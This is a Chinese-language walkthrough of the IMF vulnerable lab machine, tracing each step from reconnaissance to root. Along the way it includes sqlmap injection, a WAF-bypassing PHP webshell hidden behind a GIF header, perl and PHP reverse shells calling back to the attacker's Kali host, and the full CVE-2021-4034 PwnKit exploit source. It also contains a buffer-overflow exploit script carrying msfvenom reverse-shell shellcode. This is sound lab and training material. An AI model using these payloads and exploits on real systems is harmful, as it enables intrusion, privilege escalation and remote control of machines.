目录
前言
靶机:192.168.113.136,192.168.113.138(第二次提权将靶机重新安装后地址发生改变了)
kali:192.168.113.128
信息收集
0x00 flag1
1.探测主机
探测主机的方法有很多,下面使用两种我常用的
arp-scan -l
nmap 192.168.113.1/24 -sP
2.探测存活端口
因为这是靶机训练。所以我们在探测端口的时候可以将nmap的速率调到最大
nmap -sV -T5 -p- -sS -A 192.168.113.136
3.进入web界面进行信息收集进去后会发现存在三个选项,点击第三个,查看页面源代码发现flag1。有经验的小伙伴一眼就可以看出flag1是通过base64加密的。
flag1{YWxsdGhlZmlsZXM=} 解密flag1: allthefiles
0x01 flag2
4.访问第一个选项的页面源代码,发现flag2
<script src="js/ZmxhZzJ7YVcxbVl.js"></script> <script src="js/XUnRhVzVwYzNS.js"></script> <script src="js/eVlYUnZjZz09fQ==.min.js"></script> 拼凑:ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== base64解密:flag2{aW1mYWRtaW5pc3RyYXRvcg==} 再对flag2进行解密:imfadministrator
0x02 flag3
5.上面flag2解码后我们会发现是一个路径,发现一个登入界面,访问页面源代码,发现给了一条提示,告诉我们不要使用SQL注入。那我们只能换其他途径了。
<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --> 翻译:<!-- 我无法使用SQL,所以我硬编码了密码。它仍然非常安全。-罗杰-->
6.尝试从登入界面下手,对于登入界面我们正常的思路就是弱口令,爆破,绕过,注入这几样,我们先尝试抓包。
正常来说我们输错账号或者密码都应该显示错误的账号密码,这边直接告诉我们账号错误,我们现在可以采取先找到账号,然后再去找密码。
7.信息收集账号,我们从首页第三个选项汇里最下方,能找到三个邮箱,对应这三个用户名尝试发现,其中有一个抓包后回包显示错误密码。
锁定用户名:rmichaels
漏洞利用
8.这里可以不用爆破密码,因为这里使用了一个strcmp()函数的漏洞。
strcmp()函数的特点是比较输入值'a'和指定的一个数字'flag'.
<?php $flag = "flag{xxxxx}"; if (isset($_GET['a'])) { if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 //比较两个字符串(区分大小写) die('Flag: '.$flag); else print 'No'; } ?>
比较的话就存在一下几种状况:
输入值 | 返回结果 |
---|---|
a==flag | 0 |
a>flag | >0 |
a<flag | <0 |
a输入为非字符串类型数据,就会报错,自动return 0 | 0 |
这个时候我们可以将a以数组的方式传输数据,使其报错。得到flag3和一个路径。
flag3{Y29udGludWVUT2Ntcw==} 解密:continueTOcms
0x03 flag4
9.访问路径,发现是一个IMF的CMS。这个时候抓包,并使用SQL注入。
GET /imfadministrator/cms.php?pagename=home HTTP/1.1 Host: 192.168.113.136 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.42 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=3t780t6dmhp84hsegr3q4a0ho0 Connection: close
sqlmap -r 11.txt sqlmap -r 11.txt --dbs --dump
得到两张图片,路径为images/whiteboard.jpg和images/redacted.jpg。在images/whiteboard.jpg图片中发现一个二维码,扫码的flag4,解码得到另一个路径。
flag4{dXBsb2Fkcjk0Mi5waHA=} 解码:uploadr942.php
0x04 flag5
10.访问路径,发现是一个上传点,通过尝试发现这个上传点存在waf拦截,对上传的文件及字符都存在过滤,这个时候,我们需要尝试绕过waf,绕过时发现,它对双拓展名和空字符都存在防护。这个时候可以通过插入GIF89a十六进制标头并附加php恶意代码的形式。
GIF89a <?php echo `id`;?>
发现上传成功,并将文件名改为5cb296da5661.gif,访问后执行成功。
这个时候我们构建恶意脚本,上传执行命令。
GIF89a <?php $a=$_GET['a']; print(`$a`); ?>
访问路径,发现flag5,
http://192.168.113.136/imfadministrator/uploads/52dd8ddef67d.gif?a=ls http://192.168.113.136/imfadministrator/uploads/52dd8ddef67d.gif?a=cat%20flag5_abc123def.txt flag5{YWdlbnRzZXJ2aWNlcw==} base64解码获得:agentservices
提权
0x05 flag6
提权方法1-内核提权
11.执行命令后,可以反弹sehll。(注意顺序不要搞反哦!!!)
cp /usr/share/webshells/php/php-reverse-shell.php . --使用kali自带的php脚本 vi php-reverse-shell.php --kali修改监听地址及端口 python -m http.server 8001 --kali自身开启服务 http://192.168.113.136/imfadministrator/uploads/52dd8ddef67d.gif?a=wget%20http://192.168.113.128:8001/php-reverse-shell.php --网页执行下载命令 nc -vlp 1234 --kali监听 http://192.168.113.136/imfadministrator/uploads/php-reverse-shell.php --访问脚本,反弹shell成功
总所周知,这个shell不是一个稳定且交互的shell,这个时候我们需要重新反弹一个shell
perl -e 'use Socket;$i="192.168.113.128";$p=6677;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 重开一个窗口监听: nc -vlp 6677 使用python3产生交互式shell: python3 -c 'import pty;pty.spawn("/bin/bash")'
12.内核提权
lsb_release -a --发现这是16.4的乌班图版本!
我们可以是用最近不久前发现的一个最新的exp,cve-2021-4034。
下载地址:https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c
源码如下
#include <stdio.h> #include <stdlib.h> #include <unistd.h> char *shell = "#include <stdio.h>\n" "#include <stdlib.h>\n" "#include <unistd.h>\n\n" "void gconv() {}\n" "void gconv_init() {\n" " setuid(0); setgid(0);\n" " seteuid(0); setegid(0);\n" " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n" " exit(0);\n" "}"; int main(int argc, char *argv[]) { FILE *fp; system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.c", "w"); fprintf(fp, "%s", shell); fclose(fp); system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"); char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve("/usr/bin/pkexec", (char*[]){NULL}, env); }
接下来就是将poc下载到靶机中。
python -m SimpleHTTPServer 8002 --kali开启服务 cd /tmp --靶机进入tmp目录 wget http://192.168.113.128:8002/cve-2021-4034-poc.c --靶机下载poc gcc cve-2021-4034-poc.c -o exp --靶机反编译 chmod +x exp --给与执行文件权限 ./exp --执行文件
进入root目录,发现flag6
flag6{R2gwc3RQcm90MGMwbHM=} 解密:Gh0stProt0c0ls
提权方法2-缓冲区溢出提权
13.通过flag5 base64解码获得:agentservices 这是提示agent的服务存在问题!
find / -name agent 2>/dev/null 找到两个路径 /usr/local/bin/agent /etc/xinetd.d/agent
访问/usr/local/bin/agent,发现需要数值
访问/etc/xinetd.d/agent,发现是一个以root运行的服务
netstat -ant ---查看开启的端口情况 nc 127.0.0.1 7788 ---查看到开启7788端口是anget程序的
base64 /usr/local/bin/agent ----转码base64 gedit base64.txt ----将base64信息放入 cat base64.txt | base64 -d > agent ----base64转码为文件 md5sum agent fabc1afd43f668df0b812213567d032c agent 查看MD5值没问题!
cd /usr/local/bin --进入服务agent目录 ls cat access_codes --查看信息 发现如下: SYN 7482,8279,9467
端口碰撞 端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。 端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。 由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
尝试在kali中将端口碰撞开 knock 192.168.113.138 7482 8279 9467
这个先放在这,后面需要用到,先使用ltrace对文件进行本地分析。
ltrace ./agent 随意输入数字!
这里发现一比较字符串,后面就是正确的ID了。
ID:48093572
为了防止缓冲区溢出这种情况的出现,在C库函数中,许多对字符串操作的函数都有其"n兄弟"版本,例如strncmp,strncat,snprintf……兄弟版本的基本行为不变,但是通常在参数中需要多给出一个整数n,用于限制操作的最大字符数量。 甚至strings agent发现:两个地方使用了“%s”,这很可能是一个有效的溢出点!
测试发现第三个选项栏存在缓冲区溢出漏洞,测试如下:
使用gdb测试(文章最底下会给出下载方式) /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200 --先使用该工具生成200个字符 gdb ./agent --开启服务 run --执行 48093572 --输入ID 3 --选择有漏洞的服务 粘贴生成的200个字符 0x41366641 --最下生成一个16进制的地址 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641 --使用解密工具找到偏移量 偏移量:168
checksec --查看是否存在安全机制 cat /proc/sys/kernel/eandomize_va_space --查看ASLR设置 2 0 = 关闭 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。) 2 = 全随机。除了1中所述,还有heap。 说明存在随机化!ASLR功能的程序使用ret2reg(返回寄存器)指令来利用缓冲区溢出
jmpcall eax 0x8048563 : call eax 或者:asmsearch "jmp eax" asmsearch "call eax" EAX 地址0x8048563
目前知道了JMP值:0x8048563 偏移量:168 接下来创建shellcode写个脚本就直接拿下! 接下来创建后门:避免使用空字符和换行符 msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.113.128 LPORT=6666 -f python -b "\x00\x0a\x0b" payload: -p 载荷类型 LHOST 本机地址 LPORT -b 坏字符 -f 编译的语言 \x00 == 0x00 ASCII控制字符表中对应 NULL (空字符) \x0a == 0X0a ASCII控制字符表中对应 LF (换行键) \x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号) 获得: buf = b"" buf += b"\xdb\xc8\xba\xb3\x2d\x50\x5d\xd9\x74\x24\xf4\x5e\x29" buf += b"\xc9\xb1\x12\x83\xc6\x04\x31\x56\x13\x03\xe5\x3e\xb2" buf += b"\xa8\x38\x9a\xc5\xb0\x69\x5f\x79\x5d\x8f\xd6\x9c\x11" buf += b"\xe9\x25\xde\xc1\xac\x05\xe0\x28\xce\x2f\x66\x4a\xa6" buf += b"\x6f\x30\xdd\xb6\x18\x43\x1e\x94\x60\xca\xff\x68\xf6" buf += b"\x9d\xae\xdb\x44\x1e\xd8\x3a\x67\xa1\x88\xd4\x16\x8d" buf += b"\x5f\x4c\x8f\xfe\xb0\xee\x26\x88\x2c\xbc\xeb\x03\x53" buf += b"\xf0\x07\xd9\x14"
编写脚本 import socket EXP = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 面向网络的套接字 EXP.connect(('192.168.113.138', 7788)) # 连接 client.recv(512) EXP.send("48093572\n") # 发送密码,并按enter client.recv(512) EXP.send("3\n") # 选择选项 3 并输入 client.recv(512) # shellcode from msfvenom msf的shellcode木马 buf = b"" buf += b"\xdb\xda\xd9\x74\x24\xf4\xbb\x99\x95\x96\x1f\x58\x33" buf += b"\xc9\xb1\x12\x31\x58\x17\x83\xe8\xfc\x03\xc1\x86\x74" buf += b"\xea\xc0\x73\x8f\xf6\x71\xc7\x23\x93\x77\x4e\x22\xd3" buf += b"\x11\x9d\x25\x87\x84\xad\x19\x65\xb6\x87\x1c\x8c\xde" buf += b"\x1d\x0c\x59\x0d\x4a\xb0\xa6\x2b\x80\x3d\x47\xfb\xf2" buf += b"\x6d\xd9\xa8\x49\x8e\x50\xaf\x63\x11\x30\x47\x12\x3d" buf += b"\xc6\xff\x82\x6e\x07\x9d\x3b\xf8\xb4\x33\xef\x73\xdb" buf += b"\x03\x04\x49\x9c" # padding 填充字符 buf += "A" * (168 - len(buf)) # call eax gadget 调用eax jmp buf += "\x63\x85\x04\x08\n" EXP.send(buf)
nc -vlp 6666 --kali监听 python exp.py --执行python文件 root@imf:/root# cat Flag.txt cat Flag.txt flag6{R2gwc3RQcm90MGMwbHM=} 解密:Gh0stProt0c0ls
总结
这个靶场难度系数处于中等偏上水平,小伙伴们注意对细节的掌控,从这个靶场我们可以学习到很多小知识点,对我们的提升也是非常大的!!!
涉及知识点:base64解密,文件上传,waf绕过,内核提权,缓冲区溢出提权,exp编写。
gdb-peda安装:默认下载到/root目录 1.下载peda git clone https://github.com/longld/peda.git 2.下载Pwngdb git clone https://github.com/scwuaptx/Pwngdb.git 3.下载pwndbg git clone https://github.com/pwndbg/pwndbg 4.先安装pwndbg cd /root/pwndbg ./setup.sh 5.再配置下Pwngdb cd /root cp Pwngdb/.gdbinit . vim .gdbinit 在第二行加:source ~/pwndbg/gdbinit.py